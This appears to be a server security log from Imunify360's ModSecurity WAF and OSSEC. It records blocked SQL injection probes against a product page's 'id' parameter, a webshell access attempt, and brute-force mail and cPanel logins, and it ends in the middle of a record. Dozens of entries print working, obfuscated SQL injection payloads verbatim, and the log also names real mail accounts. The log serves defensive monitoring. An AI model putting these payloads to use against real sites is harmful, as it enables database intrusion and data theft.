IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))AND/**/6164=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(6164=6164)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML) AND (((\"QsyDTbEA\"=\"QsyDTbEA\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.46.179
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/empty-translation.po HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.213.16
country_id: 732800
description:
2026-02-02 05:52:33 dovecot_login authenticator failed for H=95-87-213-16.ip.btc-net.bg [95.87.213.16]:49545: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:52:01 dovecot_login authenticator failed for H=(3V9E8Xyqi) [77.83.39.253]:31914: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:52:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50374: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.42
country_id: 1814991
description:
2026-02-02 05:52:24 dovecot_login authenticator failed for H=([111.26.62.41]) [111.26.62.42]:46330: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/3067/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(3067=3067)/**/then/**/'1'/**/else/**/'0'/**/end))+'~')) and ('f1xyybcr' like 'f1xyybcr||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:52:19 dovecot_login authenticator failed for H=(f2OMUhSzrU) [165.154.217.204]:61615: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\")AND/**/3136/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(3136=3136)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~')) AND (\"Zyx4sp1L\"=\"Zyx4sp1L\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:52:26 dovecot_login authenticator failed for H=(1oGOmMYOhH) [178.16.52.139]:57360: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:52:05 dovecot_login authenticator failed for H=(cDvBlt) [158.94.208.175]:50433: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/9666/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(9666=9666)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:52:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/5573/**/IN/**/(SELECT/**/('~'+(SELECT/**/(CASE/**/WHEN/**/(5573=5573)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))# pfRejWDe HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.169.106.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/9666/**/IN/**/(SELECT/**/('~' (SELECT/**/(CASE/**/WHEN/**/(9666=9666)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:52:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/2673/**/IN/**/(SELECT/**/('~' (SELECT/**/(CASE/**/WHEN/**/(2673=2673)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~')) OR 'PIBAT6sR'='u4myXB1e||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:53:13 dovecot_login authenticator failed for H=(Jg6QNdM) [77.83.39.253]:46056: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:53:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59386: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:53:51 dovecot_login authenticator failed for H=(dLiSdtl) [178.16.52.139]:62889: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.86.61.187
country_id: 6252001
description:
2026-02-02 05:53:51 dovecot_login authenticator failed for H=([127.0.0.1]) [208.86.61.187]:37921: 535 Incorrect authentication data (set_id=business)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.187.96.180
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/2673/**/in/**/(select/**/('~'+(select/**/(case/**/when/**/(2673=2673)/**/then/**/'1'/**/else/**/'0'/**/end))+'~')) or 'pibat6sr'='u4myxb1e||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-02 05:53:11 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:35794: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND AND/**/2518=CONVERT(INT,(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(2518=2518)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-02 05:53:41 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:34780: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:53:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:53:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1) and and/**/2518=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(2518=2518)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:53:36 dovecot_login authenticator failed for H=(ISzHVr4) [185.230.124.69]:62215: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.181.187.182
country_id: 1269750
description:
2026-02-02 05:53:44 dovecot_login authenticator failed for H=([127.0.0.1]) [223.181.187.182]:57197: 535 Incorrect authentication data (set_id=business@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:53:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60359: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:53:09 dovecot_login authenticator failed for H=(4Q18hhFEVk) [158.94.208.175]:62234: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:53:18 dovecot_login authenticator failed for H=(NTJvkgOolL) [165.154.217.204]:51874: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:53:19 dovecot_login authenticator failed for H=(F0dw2UAfP) [165.154.217.204]:52000: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-02-02 05:54:47 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:60071: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')AND/**/6234=CONVERT(INT,(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(6234=6234)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.105.67.246
country_id: 2017370
description:
2026-02-02 05:54:29 dovecot_login authenticator failed for H=([127.0.0.1]) [79.105.67.246]:52104: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:54:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51139: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.60.77.128
country_id: 6252001
description:
2026-02-02 05:54:11 dovecot_plain authenticator failed for H=c-68-60-77-128.hsd1.mi.comcast.net (fultoubite) [68.60.77.128]:58336: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:54:15 dovecot_login authenticator failed for H=(7Y6SLLXG) [185.230.124.69]:52335: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:54:17 dovecot_login authenticator failed for H=(BfjxHiOf) [165.154.217.204]:56784: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:54:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/10519=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(10519=10519)/**/then/**/'1'/**/else/**/'0'/**/end))+'~')) and (('wgfmrb9a' like 'wgfmrb9a||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8901=CONVERT(INT,(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(8901=8901)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'))# Qw8XO79L HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:54:21 dovecot_login authenticator failed for H=(bu5f3X) [178.16.52.139]:53929: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:54:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.211.12.153
country_id: 3144096
description:
2026-02-02 05:54:21 dovecot_login authenticator failed for H=([127.0.0.1]) [84.211.12.153]:44535: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:54:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.189.163.216
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")))AND\x055928=CONVERT(INT,(SELECT\r'~' (SELECT\r(CASE\x02WHEN\r(5928=5928)\vTHEN\x05'1'\tELSE\x02'0'\x06END)) '~')) AND (((\"nJ2b4iAW\"=\"nJ2b4iAW\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/6234=convert(int,(select/**/'~'+(select/**/(case/**/when/**/(6234=6234)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:54:04 dovecot_login authenticator failed for H=(yw5z35xzZ) [77.83.39.253]:42319: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:54:38 dovecot_login authenticator failed for H=(mXISxtBB) [158.94.208.175]:52887: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 05:54:57 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:33828: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:55:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45512: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 05:55:51 +0800] info [cpaneld] 185.204.54.153 - liam "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liam (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/9686=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(9686=9686)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~')# lJ2itmz0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:55:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62254: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:55:12 dovecot_login authenticator failed for H=(JNp3NMr) [185.230.124.69]:49231: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:55:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:55:17 dovecot_login authenticator failed for H=(OH4x6Kh) [178.16.52.139]:56643: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1')))AND/**/4026=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(4026=4026)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND ((('9PF6ekro'='9PF6ekro||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:55:52 dovecot_login authenticator failed for H=(rFQZL63XRS) [165.154.217.204]:59539: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND AND\b9650=CONCAT('~',(SELECT\b(CASE\x02WHEN\x0e(9650=9650)\tTHEN\x02'1'\x0fELSE\t'0'\vEND)),'~')-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:55:22 dovecot_login authenticator failed for H=(N7dKGByPN) [158.94.208.175]:58545: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:55:15 dovecot_login authenticator failed for H=(YNcu80hZHk) [165.154.217.204]:61060: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:55:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:55:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:55:16 dovecot_login authenticator failed for H=(SgweJx1cM6) [77.83.39.253]:1944: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")))and/**/8723=concat('~',(select/**/(case/**/when/**/(8723=8723)/**/then/**/'1'/**/else/**/'0'/**/end)),'~') and (((\"h26vddlf\"=\"h26vddlf\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/8744=concat('~',(select/**/(case/**/when/**/(8744=8744)/**/then/**/'1'/**/else/**/'0'/**/end)),'~')-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/7073=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(7073=7073)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~')# xTCHgtdS||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:56:12 dovecot_login authenticator failed for H=(WspklJbER) [165.154.217.204]:61540: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/7073=concat('~',(select/**/(case/**/when/**/(7073=7073)/**/then/**/'1'/**/else/**/'0'/**/end)),'~')# xtchgtds||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:56:05 dovecot_login authenticator failed for H=(3e58SGD) [77.83.39.253]:58260: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/7073=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(7073=7073)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~')# xTCHgtdS HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:56:09 dovecot_login authenticator failed for H=(6tOGcsxV) [185.230.124.69]:56275: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:56:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56696: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:56:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:56:25 dovecot_login authenticator failed for H=(KheM0v) [158.94.208.175]:52052: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:56:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/7043=concat('~',(select/**/(case/**/when/**/(7043=7043)/**/then/**/'1'/**/else/**/'0'/**/end)),'~') and \"53nisw4u\" like \"53nisw4u||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/7043=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(7043=7043)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND \"53niSw4U\" LIKE \"53niSw4U||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:57:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:56:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:57:03 dovecot_login authenticator failed for H=(ypaGhvY) [178.16.52.139]:55966: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND AND\x057088=(SELECT\x02'~' (SELECT\x01(CASE\x0fWHEN\x03(7088=7088)\vTHEN\x07'1'\tELSE\x07'0'\nEND)) '~'\nFOR\x02XML\x02PATH(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:57:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:57:31 dovecot_login authenticator failed for H=(YRueekfF) [158.94.208.175]:63914: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:57:40 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52188: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:57:55 dovecot_login authenticator failed for H=(qdWwZl58) [165.154.217.204]:54226: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:57:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.147.49.126
country_id: 6252001
description:
